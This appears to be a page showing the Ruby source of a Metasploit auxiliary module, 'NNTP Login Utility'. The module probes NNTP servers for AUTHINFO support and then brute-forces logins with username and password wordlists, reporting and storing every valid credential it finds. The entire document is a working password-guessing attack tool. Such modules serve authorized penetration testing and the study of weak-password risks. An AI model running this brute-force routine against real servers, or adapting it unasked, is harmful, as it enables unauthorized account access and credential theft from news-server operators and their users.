CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Report
8
  include Msf::Auxiliary::AuthBrute
9
  include Msf::Auxiliary::Scanner
10
  include Msf::Exploit::Remote::Tcp
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'        => 'NNTP Login Utility',
15
      'Description' => %q{
16
        This module attempts to authenticate to NNTP services
17
        which support the AUTHINFO authentication extension.
18

19
        This module supports AUTHINFO USER/PASS authentication,
20
        but does not support AUTHINFO GENERIC or AUTHINFO SASL
21
        authentication methods.
22
      },
23
      'Author'      => 'bcoles',
24
      'License'     => MSF_LICENSE,
25
      'References'  => [ [ 'CVE', '1999-0502' ], # Weak password
26
                         [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc3977' ],
27
                         [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4642' ],
28
                         [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4643' ] ]))
29
    register_options(
30
      [
31
        Opt::RPORT(119),
32
        OptPath.new('USER_FILE', [ false, 'The file that contains a list of probable usernames.',
33
          File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]),
34
        OptPath.new('PASS_FILE', [ false, 'The file that contains a list of probable passwords.',
35
          File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ])
36
      ])
37
  end
38

39
  def run_host(ip)
40
    begin
41
      connect
42
      return :abort unless nntp?
43
      return :abort unless supports_authinfo?
44

45
      report_service :host  => rhost,
46
                     :port  => rport,
47
                     :proto => 'tcp',
48
                     :name  => 'nntp'
49
      disconnect
50

51
      each_user_pass { |user, pass| do_login user, pass }
52
    rescue ::Interrupt
53
      raise $ERROR_INFO
54
    rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
55
      print_error "#{peer} Connection failed"
56
      return
57
    rescue OpenSSL::SSL::SSLError => e
58
      print_error "SSL negotiation failed: #{e}"
59
    rescue => e
60
      print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
61
      return
62
    ensure
63
      disconnect
64
    end
65
  end
66

67
  def nntp?
68
    banner = sock.get_once
69

70
    if !banner
71
      vprint_error "#{peer} No response"
72
      return false
73
    end
74

75
    if banner !~ /^200/
76
      print_error 'Unexpected reply'
77
      return false
78
    end
79

80
    vprint_status 'Server is a NTTP server'
81
    vprint_status "Banner: #{banner}"
82
    true
83
  end
84

85
  def supports_authinfo?
86
    sock.put "HELP\r\n"
87
    res = sock.get(-1)
88
    code = res.scan(/\A(\d+)\s/).flatten.first.to_i
89

90
    if code.nil?
91
      print_error 'Server is not a NNTP server'
92
      return false
93
    end
94

95
    if code == 480
96
      vprint_warning 'Authentication is required before listing authentication capabilities.'
97
      return true
98
    end
99

100
    if code == 100 && res =~ /authinfo/i
101
      vprint_status 'Server supports AUTHINFO'
102
      return true
103
    end
104

105
    print_error 'Server does not support AUTHINFO'
106
    false
107
  end
108

109
  def do_login(user, pass)
110
    vprint_status "Trying username:'#{user}' with password:'#{pass}'"
111

112
    begin
113
      connect
114
      sock.get_once
115

116
      sock.put "AUTHINFO USER #{user}\r\n"
117
      res = sock.get_once
118
      unless res
119
        vprint_error "#{peer} No response"
120
        return :abort
121
      end
122

123
      code = res.scan(/\A(\d+)\s/).flatten.first.to_i
124
      if code != 381
125
        vprint_error "#{peer} Unexpected reply. Skipping user..."
126
        return :skip_user
127
      end
128

129
      sock.put "AUTHINFO PASS #{pass}\r\n"
130
      res = sock.get_once
131
      unless res
132
        vprint_error "#{peer} No response"
133
        return :abort
134
      end
135

136
      code = res.scan(/\A(\d+)\s/).flatten.first.to_i
137
      if code == 452 || code == 481
138
        vprint_error "#{peer} Login failed"
139
        return
140
      elsif code == 281
141
        print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"
142
        report_cred ip:           rhost,
143
                    port:         rport,
144
                    service_name: 'nntp',
145
                    user:         user,
146
                    password:     pass,
147
                    proof:        code.to_s
148
        return :next_user
149
      else
150
        vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
151
        return
152
      end
153
    rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
154
      print_error 'Connection failed'
155
      return
156
    rescue OpenSSL::SSL::SSLError => e
157
      print_error "SSL negotiation failed: #{e}"
158
      return :abort
159
    end
160
  rescue => e
161
    print_error "Error: #{e}"
162
    return nil
163
  ensure
164
    disconnect
165
  end
166

167
  def report_cred(opts)
168
    service_data = { address: opts[:ip],
169
                     port: opts[:port],
170
                     service_name: opts[:service_name],
171
                     protocol: 'tcp',
172
                     workspace_id: myworkspace_id }
173

174
    credential_data = { origin_type: :service,
175
                        module_fullname: fullname,
176
                        username: opts[:user],
177
                        private_data: opts[:password],
178
                        private_type: :password }.merge service_data
179

180
    login_data = { last_attempted_at: DateTime.now,
181
                   core: create_credential(credential_data),
182
                   status: Metasploit::Model::Login::Status::SUCCESSFUL,
183
                   proof: opts[:proof] }.merge service_data
184

185
    create_credential_login login_data
186
  end
187
end
188

189